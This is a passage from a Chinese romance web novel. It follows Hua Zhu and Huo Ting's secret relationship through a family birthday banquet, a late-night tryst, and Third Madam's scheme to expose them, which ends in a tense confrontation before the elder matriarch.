这几日大房和二房的私下试探,他面上不显,心中却是不痛快。这般深情对望,能更印证彼此心意相通,能让他更真切拥有着她。 夜色袅袅,沾着香气和月光的味道,唇齿柔软发烫,任他汲取。 华姝被凶得招架不住,胸腔里一颗心只懂得激烈跳着、颤着。她也想试图回击,可柔软中唯一抹的坚硬,如同白鸟的喙,正正好好地抵着他的掌心,被他掌中的粗糙纹理和薄茧磨得发热,几乎失去了全部的攻击性。 吻了一阵,她溃不成军,任由男人的唇移到她脖颈,齿尖细细密密咬在锁骨处,轻痒中伴着刺痛,越发地磨人心魄。 忽然,外间榻上不知是谁翻了下身,华姝心尖一跳,忙去推霍霆的肩。 旖旎气息一触即散。 霍霆的唇自她脖颈离开,脸上不甚满意的表情被华姝瞧得分明。他克制又忍耐地咬了咬她脸颊上的软肉,将她滑落香肩的亵衣扶正,仔细整理好。 他又低头吻了吻她的眼眸,“再等几日,待母亲生辰过去,即便对外不便宣布,府内的人也该知会一声了。” 华姝眯眼靠回他肩头,男人身上很暖,她搂在他腰上的手又紧了一点,“我明白的。” 一个疼爱有加的幺儿,一个亲手带大的孙女……这么惊世骇俗的事一旦说出来,霍老夫人难免要伤心好一阵。 怎么着都要让老人家开开心心过完诞辰。 想必霍雲他们提前找霍霆商议此事,也有着这层考量,变相提醒他俩要顾忌着些。 似是察觉到华姝情绪低落,霍霆环着她的那只手臂微松,摊开手掌在她面前,“再写一次。” 华姝笑了,郑重其事接过他掌心,以手指作笔,在上面规规矩矩地写了一个字。 痒。 最后一笔还未落下,人已经埋在软枕上,低低闷笑出声。 然后就换来好一顿收(nao)拾(yang)。 耳鬓厮磨间,霍霆的鼻尖下就是华姝柔顺的发丝,清新里带着些许甜味的香气不断沁入鼻腔里,惹得他呼吸愈乱、粗沉。 他不是圣人,胸腔里的躁动翻涌,难以控制。放在纤纤腰肢的那只粗粝大手,几次想要掀开那衣襟薄片,最终又忍了下来。 他吻了吻她掌心,“睡吧,没有几日了。” * 三日后,御驾浩浩荡荡回京。 霍府的七架马车先后鱼贯停在铜钉朱红大门前,老夫人携三夫人等在门口,一瞧见她们,不由喜笑颜开。 三夫人的孕肚有八个多月,预产期在年底。她笑着同大伙问候,直到空掉的马车一辆辆驶离,愕然相问:“怎么没瞧见糖糖?” “……她说出门久了,有点想家,要先回去瞧瞧。”二夫人不着痕迹岔开话题,“这里风大,你如何不在屋里等着?” 作为过来人的俩妯娌,一左一右搀扶着她,要劝她回屋歇着。 “不妨事的。”三夫人也只好随她们进屋。 华姝搀扶着老夫人,走在一旁,应对起老夫人热情询问路上的所见所闻,明显有些心不在焉。 她只道是舟车劳顿,老夫人不疑有他,慈爱地摸着她头,“那就先回房歇着,明日再来陪祖母说说话,祖母给你备了好些小零嘴呢。” 华姝心中又平添一分愧。 事实是,霍霆为避免阮糖再胡乱攀咬,已命人将她绑至郊外的庄子上,严加看管起来。 今日,昭文帝点名留下霍霆,也正是要让此事做个了结。 御书房 阮糖的父亲勇毅侯和霍三爷早已等候在此。他们猜测半晌,都未猜到竟是阮糖主动爬了龙床。而且这等丑闻,还让大半个朝廷的人都撞见了。 勇毅侯听完,顿时老脸一红,连连叩头请罪,直呼教女无方。 他不清楚当夜情形,御前太监也断不会告诉他昭文帝是怎么大半夜入了华姝的帐,又不慎睡错人。霍霆更不会多此一举。 昭文帝因着宋煜的事,近几日皆是脸色阴沉。提及阮糖,总觉得此女晦气不吉利。 勇毅侯战战兢兢跪在地上,为保全家族,连忙道“老臣就当没有这个不孝女!” 三言两语,便敲定此事。 昭文帝自也不想阮糖再有机会,将那夜的事说与勇毅侯的人,直言此事全权交由霍霆处置,便摆手命人退下了。 勇毅侯是被霍三爷架出御书房的。 霍霆走在他们前方,肃然交代:“回去后勒紧两府口风,在三嫂生产前,别让她为此事无端分神。” 霍三爷自然无有不应。勇毅侯为了借着三夫人这层关系,继续与镇南王府攀亲带故,也不敢不从。 奈何天下没有不透风的墙,赶上霍府筹办老夫人的诞辰宴席,人多嘴杂,阮糖的死还是传入三夫人耳中。 那日万里无云,突然晴空惊雷。 三夫人抚着抽痛的肚子,当场脸色惨白,昏死过去。 众人乱做一团,七手八脚扶她回房。 大夫人命小厮紧急请来御医,虽是及时保住胎儿,但到底动了胎气,叮嘱务必要孕妇好生静养。 经此一遭,府上喜气洋洋气氛不再。 华姝静静望着上空笼罩而来的滚滚乌云,直觉她和霍霆的事,可能说不成了。 第56章 东窗事发 余下的几日, 霍府的膳房每天都要煎煮三夫人的安胎药。 药味弥漫一路,欢喜准备老夫人寿宴的仆人们,被冲散一群又一群。 这是霍霆封王后的第一个诞辰,原定要热闹些。 老夫人慈爱, 改口说一家人坐下来说说话, 她便足矣, “阮家姑娘到底在府上住了多时,她尸骨未寒, 咱就大摆宴席,传出去也不像话。” 大夫人:“母亲说得在理,正好明年是您六十大寿,届时咱再为您好生庆祝。” 二夫人:“估计明年三弟妹的孩子都会跑了,您到时候还得多备份大红封呢。” 妯娌俩三言两语,霍千羽和霍华羽也不时搭腔,哄得老夫人喜笑颜开。 华姝坐在一旁,静静瞧着她们谈笑。 一手养大的姑娘,老夫人哪里看不出她的异样? 老夫人看过来, “姝儿自打秋猎回来, 怎得不爱说话了?可是在外受了委屈?你尽管说出来, 祖母给你做主。” 大夫人和二夫人闻言,神色微妙。 老夫人还不知阮糖是在华姝的帐篷爬得龙床, 否则今时被赐死或入宫的人便是她了。 事后昭文帝只托词称, 醉酒走错路。不疼不痒地赏华姝两匹锦缎, 这事便是揭过去。旁人不敢议论帝王, 霍府众人自也是三缄其口。 千竹堂内,炭火融融。 华姝若无其事笑笑:“没什么,我是在想要给祖母准备一份什么样的特别贺礼。”她看向霍千羽, “表姐的寿礼别出心裁,我也心向往之。” “哎呀姝儿,你出卖我!”霍千羽过来捂住她嘴,“不准你再多说了!” 老夫人见她们姐妹打打闹闹如常,也未再多想。 大夫人和二夫人也未作搭话。 霍霆这几日一直在着手处理宋家的事,大多就近歇在军营,与华姝鲜有交集。 一来,她们瞧不出异样。 二来,府上有老夫人坐镇,真要出点什么事,她们也不必再担责,遂不再像秋猎时那般防着。 唯独华姝知道,霍霆还是不放心昭文帝。 昭文帝如今因着阮糖,连带觉得华姝晦气。但谁也无法保证,他来日又对华姝重拾兴致。 霍霆早点解决掉宋府,查清当年华家灭门真相,就能早点带华姝离京。 换言之,某个吃味的男人,在变相跟帝王抢人呢。 * 时间辗转来到十一月末。 在老夫人诞辰前两日,宋尚书以贪墨之名被罢官了,一家老小落魄谪千岭南老家。得宠不过半年的宋妃也被贬为宋美人。 至于顶着奸/杀公主罪名的宋煜,则直接被关入死牢。宋夫人挂念儿子,借着娘家的旧日关系,到处疏通打点,到处碰壁,一夕之间愁白头。 燕京城中,闻者唏嘘。 一年之内两位三品尚书落马,也给旁的官员敲响警钟,朝中人人自危。 霍家四位兄弟,一向为官清正廉洁,没受影响。 一家人关起门来,照样为老夫人庆生。 府上张灯结彩,月下清明。 “多亏没大操大办,不然赶上宋府这事,咱家没准还得落个铺张的罪名。”老夫人看得开,一袭枣红吉服坐在主位,和蔼笑道:“只要你们都平平安安的,就是对我最大的祝福了。” 大伙也觉得是这个理,纷纷起身举杯祝寿,一溜的贺词和贺礼,听得老寿星合不拢嘴。 唯独三夫人,笑得勉强。 大伙只当她还沉浸在阮糖逝世的痛楚中,谈笑时尽可能避开此事。就连借老夫人之口催婚霍霆,都是等三老爷扶着三夫人回房后,才重新挑起话茬。 “都说长兄为父,今日我倚老卖老一回。”大老爷霍雲道:“如今韶华公主薨逝,圣上的赐婚便不作数了,澜舟日后有何打算?” 二老爷霍霄也颔首:“澜舟虽正值壮年,但总归辈分在那,燕京城各府千金能与他婚配的属实不多了,还要有劳母亲多替他操心些。” “辈分”二字,听得华姝握着玉箸的指尖微蜷。 二叔像是特特说与她的。 明明没有当面训斥或辱骂,可这话仿若一把没开刃的钝刀,磨得她钻心疼。 对面,霍霆坐在次主位。 一袭玄衣常服,刺绣不比朝服上的四爪金蟒,宽肩窄腰的挺拔坐姿,依旧不怒自威。 他双眸微垂,淡淡瞧着杯盏中茶叶浮沉,似乎情绪不显。但倘若细瞧,他握着茶盏的经络分明的大掌,已然攥得骨节泛白。 沉默几息后,霍霆岿然抬首,“我心中已有思量,两位兄长还是多帮玄儿相看着罢。” 答案不置可否。 语气不容置喙。 碍于他金尊玉贵的身份,霍氏两兄弟也不敢再深加试探,只好齐齐看向老夫人。 他们以为老夫人不知情。 老夫人也以为他们不知情,坦然笃定道:“澜舟的婚事,确实不必你们操心。他呀,早就有心仪人选咯。” “……是嘛?”接到母亲暗示的眼色,霍千羽佯装出大大咧咧的笑意:“竟不知是谁家姑娘,有缘来做我们的四婶?” 桌下,她手忐忑攥紧坠在腰间的璎珞,喉头也像坠着根细绳,坠着她高悬多日的心。 只要这位“四婶”身份分明,那么她的姝儿也就清白分明了。 “且听你们四叔的意思罢。”老夫人也满心好奇地看向霍霆,不过她还是表示尊重他的想法。 其他知情或不知情人,亦是满脸期待看去。 唯独华姝,眼皮重如千斤,迟迟抬不起。明明正对门口的暖阳洒满她背脊,却仿若沉溺在寒潭里的一尾鱼,肺腔艰涩。 倒不是担心霍霆会提前当众说出来,不计后果。而是痛心于他铮铮铁骨、光明磊落多年,有朝一日,竟要这般同她畏首畏尾。 好在宋家的事了却大半,抱着这一丝盼头,她勉强挤出一丝微笑,抬眼瞧去。 霍霆终究阅历广博,处变不惊。 面对众人的追问,他神色如常,声线平稳如常:“约莫就这几日了,待征得她同意,自会带她来与家中正式相见。” 说这话时,他视线公平地分给每个人,任谁也瞧不出异样。 此事也算有所交代,不复再议。 之后又闲聊些起霍玄的婚事,他若有似无望向华姝的目光,让大房夫妇颇为头疼。直到宴席散场,他们夫妻都兴致恹恹。 华姝瞧得分明,放慢步子跟在最后,有意避开众人路线,绕路回到月桂居。 热水沐浴后,她靠坐在窗前。 一手推开窗,一手枕臂,静静吹着凉风,整个人才松泛些。 院中桂花树已只剩枯枝,庭下月色如积水空明。因着老夫人诞辰挂的大红灯笼,泛着柔和暖光。 华姝会心一笑。 虽说多日心绪不宁,但总算让祖母今岁的生辰欢喜无忧,也祝她能岁岁今朝。 “姑娘。”苓霄踏着夜色走来,隔窗躬身,低声禀告:“王爷请您过去一趟。” 华姝直起身,“现在?” “嗯,萧将军来了,说是他那边有新发现。”苓霄解释道:“具体的,属下不得而知。” 萧成近日都在负责华府的事,确切地讲,主要在严审司空震。他若是有新发现…… 华姝联系到刚被查抄的宋府,觉得八九不离十,遂汲上鞋子,出门。 此刻子时过半,府上各房因着筹办宴席的事已劳碌多日,这会十有八九已歇下。 于是,华姝吹灭灯,月桂居也扮作就寝的模样。 趁着夜色前往清枫斋。 殊不知,她前脚进门,斜对面远远的角落,后脚便有一道影影绰绰的黑影,悄声离去。 那黑影一路来到三房的院门门口,与守在此处的老嬷嬷,压低声啐了几句。 “还真让三夫人猜着了,今夜王爷一回府,表姑娘就抹黑过去了。” “我呸!她到底是有多缺男人,如此迫不及待?等着,我这就去给三夫人通禀去!” * 清枫斋 华姝推门走进书房,霍霆和萧成正二人分坐书案两侧,中间摆着一张巴掌大的纸条。 萧成忙起身让出椅子,“嫂子,你坐。” 华姝摆手,“不用。” 萧成坚持:“那不成,哪有嫂子站着我坐着的理儿?” 然后就见长缨搬来一把椅子,放到了霍霆的身侧。 萧成眨巴眨巴眼,哂笑着挠挠额头,他这是拍马屁拍到驴蹄子上了。 华姝顺势坐到霍霆身侧,垂眼去瞧那张纸条。 貌似是两个字。 但比划杂乱地堆叠在一起,横竖不通 她歪头,皱眉不解地向霍霆求救。难得在他脸上也瞧见费解不惑。 她又去瞧对面的萧成,他正聚精会神盯着纸条,后脑勺都快被他挠凸了。 她又瞧去站在一旁的长缨,长缨忙告饶地朝她摆摆手,一连后退三步。 华姝啼笑皆非,摊手,“所以你们深夜喊我过来,是为何意?” “嫂子,你也不认识吗?”萧成闻声抬头,投来的目光充满期盼,“司空震说,这纸条乃是当年从华大夫手上截获的。” “我父亲?” 华姝再仔细端详那生僻字,绞尽脑汁地搜刮过往记忆,却仍一无所获,“有没有可能,是司空震受不住你严刑审问,故意编造些东西出来,搪塞我们?” 霍霆:“大抵有两分这等可能。” 剩下八分可能则为真了。 萧成解释起来龙去脉。 “这两个‘字’,听司空震之意,就是封存在那枚钥匙对应机关匣中的密信。当初他与圆妙一分为二,各自保管。但他多留了份心思,将比划硬背下来。” “他原本抵死不认。直到亲眼瞧见了盖过玉玺的罢黜宋尚书官职的圣旨后,才亲手所书。他提笔犹豫,落笔反复停顿,回忆艰难,我瞧着不像是惺惺作态。” “他还道,若是能核实这二字深意,咱们大抵就能弄清楚华大夫遇害的真正原因了。” 华姝凝神听完,捧着长缨递来的热茶盏暖手。 茶雾袅升,熏得她双眼酸胀,“所以,我父亲获悉了这纸条上的秘密,才遭宋尚书他们灭口。司空震是帮凶,他如今企图借我们之手,查出真正的机密,再彻底解决掉宋尚书对他的威胁。” “不错,他有意借刀杀人。”霍霆拉过她惊得冰冷的双手,握在掌中暖着,也是安抚。 华姝任由他握着,叹:“人之常情。” 司空震越是有所求,这纸条为真的可能就越大些。 对面,原本眼睛恨不得黏在纸条上的萧成,猛地抬起头,瞧她一眼,又瞧霍霆一眼。 然后,他目光慢慢落在两人十指相扣的手上,乐了:“难怪都说,不是一家人不进一家门。” 华姝被他直白的目光,瞧得有点不好意思。想收回手,霍霆不准。她用小指挠了挠他掌心,这才重获自由。 萧成还在煞有其事地讲着:“嫂子你是不知道,适才老大听我说完,也是这般评断的,一个字都不来差的。” “是么?”华姝轻笑了声,刚刚因为父亲遇害而生出的惆怅,被冲淡了些。 萧成想说的,大抵是他们心有灵犀吧 毕竟同生共死过,这点默契还是有的 相较而言,萧成这位多年出生入死的兄弟,莫名就差了些默契。 霍霆淡淡扫眼窗外天色,而后无言瞧着萧成。 后者不明所以:“老大你是热吗,要我把窗户打开透透气?” “……天色不早了,你奔波数日定是累了,早点回去歇着。”霍霆耐人寻味道。 “没事!”萧成爽快地摆摆手,“我不累……我也可以累?”他突然回过味,连忙话锋一转。 霍霆没眼瞧他,抬手执笔誊抄了一份那纸条字迹,递给他,“不累就拿回去仔细研读。” “啊——”萧成苦着脸朝华姝求救:“嫂子救我!普天之下,老大也就只肯为你折腰了。” 华姝低头喝茶,赧笑不语。 萧成走后,长缨相继关门出去。 书房安静下来,茶雾袅袅。 霍霆重新牵过华姝的手,顺势拦住她腰肢,将人抱到腿上环着。 华姝浅浅打个哈欠,依靠在他肩头,他身上似檀似麝的气息随后萦绕入鼻,很是安人心神。 近日,昭文帝的帝王无情,几位叔伯婶娘的试探与提防,都让她心惊与疲惫。 适才,听闻司空震的城府算计,更是让她诧异于人性的薄凉。按理说,霍霆比司空震等人还要位高权重,可在他这里,她随时都能安栖到一片净土。 华姝闭上眼,享受着这难得的二人独处时光。 霍霆也阖眼,下颌缓缓蹭了蹭她发顶,乐此不疲,于无声细微动作中,诉说着难以言喻的连日思念。 角落里的更漏,陆续“叮咚”有回响。 须臾后 “在想什么?”他问。 “我在想,宋家的下场会和司空府一样吗?”华姝没睁眼,微微仰头,用脸颊蹭了蹭他下巴,算作回应。 “宋府能查到的罪证不足以判抄家,旧日势力犹在,宋夫人的母家也多是齐心帮衬,百足虫死而不僵。” 霍霆缓声解释于她:“何况,宋庆那老东西自己就是主谋,他想必给自己早就留足了后路。” 华姝若有所思:“你已经派人暗中跟着他了?” “濯缨亲自带人。”霍霆颔首,“此次大抵要长线钓鱼,若一路都无嫌疑人等接应他,就得跟到他岭南老家。” “不过若能破解这纸条上的谜底,或能绕过他,抢占先机。”他又道。 华姝喟叹:“也只能先这样。” 她睁开眼,看了看更漏低低的水位线,“天色确实不早了,我也该回了。” 霍霆没有出声阻拦,只一言不发地垂眼凝看她,小指松松地勾住她的。 华姝忍俊不禁。 这般亲昵挠心之举,比他用健硕铁臂箍住她,还要磨人。 她都不忍出言相拒,只好软声反问:“这是什么意思呀?” 眼睫微微眨动,清亮的杏眸溢出一丝明快的狡黠。 霍霆轻挑眉梢,抬手来捏鼓她细滑的脸蛋,“你惯是会明知故问。” 华姝回捧住他线条分明的下颌骨,也轻捏了捏。按照她的心意,在男人俊美脸庞上,扯出一抹弧度。 好像终于能体会,他执着于揉捏她脸颊的乐趣了。这是独属于爱人之间的亲昵动作。 旁人不便,更不敢在威严凛夙的镇南王脸上撒野,只有她可以。算起来,华姝的乐趣是双份的。 她葱白圆润的指尖,怜惜拂过霍霆眉骨的细疤,“可这毕竟在府上,万一明早被人瞧见便不好了。何况大伯母她们本就起疑,而且三婶娘的胎儿……唉。” “倒也不必想太多。”霍霆低头啄了啄她唇角,“说到底,这家里我真正在意的不过母亲与你。母亲诞辰已过,只要你愿意,咱随时都能在府上公开此事。” 四目相对。 他微微垂睫,专注而温柔望着她。 近在咫尺的高挺鼻头,呼出淡淡茶香,潮热撩人,“我体内的余毒,像是发作了。” 华姝眼睫眨了眨,在他期待的目光中,轻点了点头。 男人一双漆黑的眼瞳乌云散去,绽放出凛冬冰雪初融般的光泽。下一瞬,便打横抱起她,往对面寝房走去。 华姝眷恋地揽住他脖颈,细细密密吻他耳廓,见他喉结滚了滚,又趁机凑过去啄了下。 这无异于干柴遇烈火,拢着她的大手蓦地收紧,腰间软肉被狠狠一掐。 华姝夸张吃痛了声。 霍霆收手,垂眼,递给她一个“有话就说”的神情。 小心思被看穿,华姝不好意思地埋进他肩窝,软软地商议:“就先只同祖母言明吧,等她老人家点头后,咱们就先寻个借口搬到别院去住。待三婶娘年底顺利产子后,再说开也不迟。” “倒个折中的法子。”霍霆将她放到床榻上,高大宽厚的身躯,背着光,连带大片阴影一同倾覆而下。 床榻顿时一沉。 华姝双臂抵住他肩,“……灯、灯还未熄。” 男人沉默一瞬,掰开她手,分按在头的两侧,又凑近几分,额头相抵,“数日未见,总想多瞧瞧你。” 华姝羞得闭上眼,睫毛轻颤,“才不信你说的呢。”分明就是想故意捉弄她。 霍霆顿了顿,他盯着华姝染着红晕的脸蛋,伸手,左手深深插入她浓密的头发,捏着她的后脑勺,抚摸着发根,轻轻一拽—— 轻微的痛感令华姝不解得睁开眼睛。 男人声线暗哑,缱绻:“小乖,你就不想多瞧瞧我么?” 华姝眸光微动,自是想的。 数日不见,每日走在府上,都不自觉会寻觅他的身影,甚至有两三次差点认错了人。 霍霆低头吻她的脸,华姝没再拒绝,乖乖张口供其入侵,主动迎合对方。朦胧中,她又想起山洞的光景,以及想起山中茅草屋的旧时风月。 兜兜转转,感觉缘分是个既定的圈,早已为每个人的命运写好结局。想通这些后,她初次不躲、不僵硬地受他的亲昵,而是主动搂住他的肩膀,仰脸去触他的唇。 这让男人受到莫大鼓舞。 动作也越发肆意。 加重深吻的样子,像只夜间出没的大型凶兽,在亲吻时似乎并不能很好地控制住牙齿,含,亲,咬……他倒也不用力,又故意凶狠地吓唬人,偏爱看她紧张上当的娇憨模样。 他专注望着她,像是大老虎按住一只小狐狸故意逗弄着,似能从这等嬉闹行为中获得更多的愉悦。 她呜咽控诉:“坏人。” 似乎为了作势这一罪名,男人的唇移到她脖颈,肆意深吮出红痕,甚至挑衅地将她罗裙堆叠到了腰间。 在他的爱抚下,她思绪渐渐陷入沉溺的混沌,仿若醉酒一般。 像在河流中飘浮,像陷入软水之中,不由自主地任由激荡的情绪起起伏伏。她化作一片逐水漂流、放纵自己的叶子,也放纵着叶下汩汩清泉,川流不息。 她咬紧唇瓣,压抑闭眼。 霍霆侧躺过来,亲吻她的唇,她感到对方的呼吸、体温,比方才要高,却也高不过此刻掌中。 他握着她的手,吻着她的脸颊,“快了,至多一个月,将宋府的事料理清楚,我就上书请旨带你回南边封地。” 华姝娇颤的呼吸:“圣上会同意吗?没了韶华公主,亦有其他宗室女。以你如今在军中的声望,只怕他不在你身边安插个自己人,总要寝食难安的吧?” “作为条件交换,我会在奏折上言明,日后无召会永不回京。” 他忽然俯身吻上。 华姝猛然睁眼,震惊至极。 她下意识挣扎,奈何不及他臂力的一成,只好咬紧唇瓣,双手指甲齐齐嵌入床单的布料里。像只煮熟的红色小虾,受不住蒸烤得躬起尾巴。 一吻毕,霍霆抬起头,俯身,尚有清盐味道的湿润唇亲了亲她唇角。 华姝没来得及躲过,被他吻住唇呜咽两声,她头脑一片空白,只觉对方今夜的举动着实肆意妄为,“你……”他非但不嫌、反倒还凑过来与她亲吻,“你不可理喻。” 霍霆也不恼,只笑:“日后多试几次,自会习惯的。” 似是为坐实他出师有名,还补充道:“这些书上都有描绘。” 华姝不肯同他多说,拉过雾蓝色锦被,背对着霍霆而躺,蜷缩身体,往外移了移。 有些羞恼,这次脸颊当真有了血色红晕,浅浅淡淡落在皎白肌肤上,宛若晚霞。 霍霆没有强行拉她回来,他让华姝睡内侧,自己拦在外面。 饶是如此,他的房间,他的床褥,他枕在身边,华姝整个人都被他的气息笼罩着,心跳怦然。 月光如洗,洒在床边。 在月光映照下,床头柜上的白瓷茶盏发出柔和的光芒,与窗外的月色相映成趣,令人心旷神怡。 华姝心绪渐渐平复,她重新想起方才戛然而止的对话,又忍不住心疼地翻过身,依偎进他怀中,“若自请无召不得回京,是不是变相就削弱了手中兵权?” 她不是很懂朝政,但能让权势滔天帝王退步的前提,必然是霍霆首先要退一大步,才能换得两人名正言顺的一道赐婚圣旨。 “有舍才有得。”霍霆拥紧她,低语呢喃:“再大的权力也不及你。” “值得吗?”华姝心腔鼓胀,“你若来日后悔,我可还不了你这么大的权势。” “男人的权势,自然是男人自己去挣。但有一样,必然得由你送与我。” “什么?”华姝饶有兴致问。 若能力所能及地为他做些小事,心里也会舒服些。 然后就见男人招手,示意她附耳靠近,而后缓缓吐出二字—— “子嗣。” “……” 华姝又被他捉弄得怔了下,气得粉拳锤他两下,重新背过身去,“早点睡吧,没准能在梦里瞧见。” 霍霆哑然失笑,抽出一直手臂为她掖好被角,隔着锦被拥住她,依言决定去梦里瞧瞧。 华姝这次入睡格外快,不知为何,浓浓倦意逃脱不掉、摆不干净,她甚至没有多余精力去担忧身侧霍霆是否有熄灯……她眼皮沉沉阖紧。 但不过须臾,院外突然喧闹起来。 两人都睡得不沉,先后被惊醒。 霍霆披上外衣,拢好床帐,走到门口查看。他提声:“外面何故吵闹至此?” 这会,甚至有人前来敲清枫斋的院门。自打霍霆封王回京,此等越矩之事史无前例。 长缨将院门打开一条缝隙,问清楚事由,又忙关紧院门。 他回到寝屋门前,低声禀告:“回王爷,是府上发现表姑娘不见了,闹到老夫人那里去,这会老夫人下令要阖府盘查寻人呢。” 华姝业已整理好衣裙,走到门边。 听得这话,脑中嗡的一声。 周遭瞬间陷入一片死寂。 院外火把光影重重,喧闹不息,却好像全被阻隔在厚厚的无形的罩子之外,仿佛另一个世界的存在,模模糊糊的,让她听不清。 霍霆注意到她惨白的脸色,将人拉到怀中,轻拍着纤背安抚。同时,临危不乱地探究:“是何人先发现表姑娘不见的?” “听小厮的意思,貌似是三夫人。” 长缨道:“三夫人夜里身子不适,想请表姑娘就近过去瞧瞧,结果发现人不在屋里,遂通禀了老夫人。老夫人急中生乱,忙命人来请您去主持大局。” “不对!” 华姝回过神来,“半夏和苓霄都知道我来这边,她们定会托词我要梳洗,让三夫人房中的丫鬟回去等,再悄悄来这边递消息。” 霍霆冷笑:“亏得你还顾及她身子重不得忧心,瞧瞧,人家倒是有闲心的很。” 他与华姝拉开些距离,稍稍屈身,与她视线齐平,柔声征求:“既是府上没什么人好瞒着了,不若趁此机会说开吧,嗯?” 第57章 说破 连夜公开, 实非华姝所愿。 但三夫人已将他们架到火上烤,那么不论刀山火海,她都愿陪他走这一遭。 华姝托住霍霆双臂,托直他身躯, 微笑点头:“既答应了你, 自是说到做到。” 霍霆绷紧的胸膛, 缓缓松了口气。 被拒绝过太多次,面对她, 他总比面对旁人要谨小慎微些。 而后,霍霆提声:“长缨,去先回了老夫人,让她老人家不必着急,我和表姑娘即刻过去。” “是!”长缨健步如飞。 他家王爷苦心筹谋多时,总算在表姑娘的跟前争取到了名分,长缨打心眼里高兴。 屋内,霍霆握住华姝的手,温热的大掌包裹住冷凉的纤手, 不疾不徐地搓热后, 低声:“去换件衣裙吧。” 华姝瞟了眼先前被他蛮横揉皱的短袄衣襟, 耳后微红,嗔瞪他一眼, “那你等我会, 很快。” 霍霆失笑, “嗯, 等你。” 华姝挪开他那胶黏的目光,转身走回进月桂居的院门,才用双手冰了冰发烫的脸颊。 分明要去应对一场鳌战, 却莫名变成鸳鸯赴会似的,唉。 换了件浅青色罗裙,华姝对半夏和白术稍加安抚和叮嘱,独自带着苓霄出门,与霍霆主仆一道前往千竹堂。 千竹堂 堂屋的正中是一张矮塌,老夫人倚着软枕而坐,时不时朝灯火昏黄的屋外瞧一眼。才歇下就被吵醒,老人家的面容疲倦。 左侧下手位置,三老爷照看着有孕肚的三夫人,三夫人背后垫着厚厚的软垫。 右侧下手位置,霍千羽和霍华羽分别而坐。 今夜之事,大房二房心知肚明,碍于霍霆的身份不好轻易捅破,碍于老夫人的身份也不敢毫无表示,遂让两个姑娘过来象征性瞧瞧。 但这三方分坐的位置,连带中间烧得赤红的炭盆,还是滋生出了三堂会审的态势。 华姝随霍霆走进堂屋。 深更露重,未婚男女,并肩而来的身影。屋内众人投来的目光,神色各异。 霍霆摆手免了众人的见礼,带着华姝停在矮塌前,“儿子不孝,让母亲担心了。” “姝儿没事,我自然安心。你呢,可是哪里又伤着了?”老夫人仔细端详起他们两人,嘴上说着安心,眉头蹙起的褶皱难掩。 华姝一时分辩不清,祖母是真的毫不怀疑她半夜去霍霆房中只为治疾看伤,又或在为两人找借口,为霍霆挽尊。 不论哪种,面对如此慈爱的长辈,使得真相都难以启齿。 霍霆比她心境更稳,态度也更坚定:“您别担心,我未曾受伤。” 这话,无异于一石激起千层浪。 堂屋内本就微妙的气氛,愈发宛如一根绷紧的箭弦。 老夫人和霍三爷愕住一瞬。 霍千羽跌靠在轮椅背上,掺杂着释然与颓势。 霍华羽皱了下鼻头。 三夫人竭力掩饰着眼底的憎恶与得逞,若无其事地问:“若非治伤,表姑娘又怎会深夜只身前往……” 她话没有说完。 可戛然而止的深意,愈发引人遐想。 绷在众人脑海里的那根弦,不免又紧上几分。 华姝没脸去瞧老夫人失望的神色。 但也不代表她会姑息三夫人的阴谋。 她索性转身迎上三夫人的目光,“你又如何得知我是只身前往?你们院中上下,今夜无一人敲过月桂居的门。即便真有人敲过,哪个丫鬟会傻到用这番说辞,往自家姑娘身上抹黑?” 说到最后,华姝看向一旁的三老爷。 三老爷听得一愣,再对上霍霆意味深深的目光,转瞬恍然,难以置信看向自己一向温柔的枕边人,“知音,你……” “怎会没人去敲门?” 三夫人见势不妙,眼珠转得极快,“只怕是那刁奴犯错怕挨罚,对表姑娘隐而不报了吧?此等叼奴合该绑过来,仔细敲打一番,免得日后再奴大欺主。” 再顺便当众审一审她和霍霆的私事? 华姝才不陷入自证陷阱,她不答反问:“我竟不知,一向温柔的霍三夫人,还是个雷厉风行的奇女子?” 三夫人不甘示弱:“我也不知,一向谦恭的表姑娘,如今连声三婶娘也不屑叫了?” 两人一来一往,全往对方的痛处扎。 却也都扎在老夫人柔软的心头。 她心惊于三夫人佛面蛇心,竟是利用她这个婆母做局。 却也在看穿阴谋后,对华姝和霍霆之事,又燃起一丝最后的希望。 “姝儿,”惯是慈祥的老人,竭力平复下悲恸万分的心绪,平静而和蔼地凝望着华姝,“你来说,祖母只信你的话。” 这份平静而和蔼的信任,重如千钧。 压得华姝抬不起头来。 那次从山里逃回来,老人家也是这般毫无保留地接纳她,庇护她。 当时她迫不得已,可这一次,华姝不忍再欺骗老人家,更不能在外人面前落了霍霆的面子。 华姝的迟疑,一点点击溃老夫人眼神的希冀。 霍霆又给她最后沉重一击:“母亲问我罢。” “你——” 老夫人气得拍案而起,扬起手来想痛打这个不孝子。 华姝的心揪了起来,下意识想上前替他挡住。 霍霆已先一步紧紧攥住她手腕,将人护在身后。他自己岿然不动,任由老夫人出掉这口气。 可那巴掌滞停在半空,迟迟未落。 老夫人瞧瞧人到中年的幼子,再瞧瞧三房夫妇,还有两个小辈,甚至满堂的仆人……怎么都不忍当众折辱他的身份与威严。 最后她狠狠锤自己大腿,有苦难言。 桂嬷嬷等人连忙上前,扶她坐下,一个劲地抚着胸脯顺气。 华姝的心揪得更紧,大抵能与霍霆感同身受。宁可老夫人给自己一巴掌,也不希望她有气闷在心里。 老夫人枯坐在那很久,最终强压着情绪对众人道:“你俩留下,其他人都散了吧。” “不能就这么算了!”三夫人寸步不让,指着华姝讥讽:“母亲还不知道呢吧?阮糖是在她帐篷爬得龙床,根本就是当了她的替死……” 三老爷急忙来捂她嘴。 好不容易等到出气的机会,三夫人哪肯善罢甘休?听着高高隆起的孕肚,一个劲挣扎不断。 “放肆!” 霍霆周身笼罩上无形的压迫感。 空气仿佛凝固,那不怒自威的气场,像一座不可逾越的山峦,压得人脊背发僵。 趾高气扬的三夫人骤然噤声。 霍霆墨眸凝霜,“母亲有养育之恩,训斥我们理所当然。你,算个什么东西?” 面对自家人,霍霆从未仗势压人,到底纵得有些人忘了尊卑身份。 这是他头一次端起架子,一句一顿:“看在三哥的面上,我本不欲与你逞口舌,但也不介意再多个……替死鬼。” 自古以来,战神与杀神相伴相生。 霍霆微眯眼,狭长的凤眸,霎时杀气逼现—— 三夫人骇然变色,瑟瑟缩到三老爷身后。 斜对面的霍华羽,也止不住腿软,躲到了霍千羽轮椅后面。 三老爷脸色亦不好看,夹在中间左右为难:“澜舟,这事的确是你三嫂……是知音她不对。她孕期情绪起伏大,我回去后必然好生约束她。” 霍霆静立如鹰隼,不为所动。 华姝被他逼人的寒气也冻得一僵。 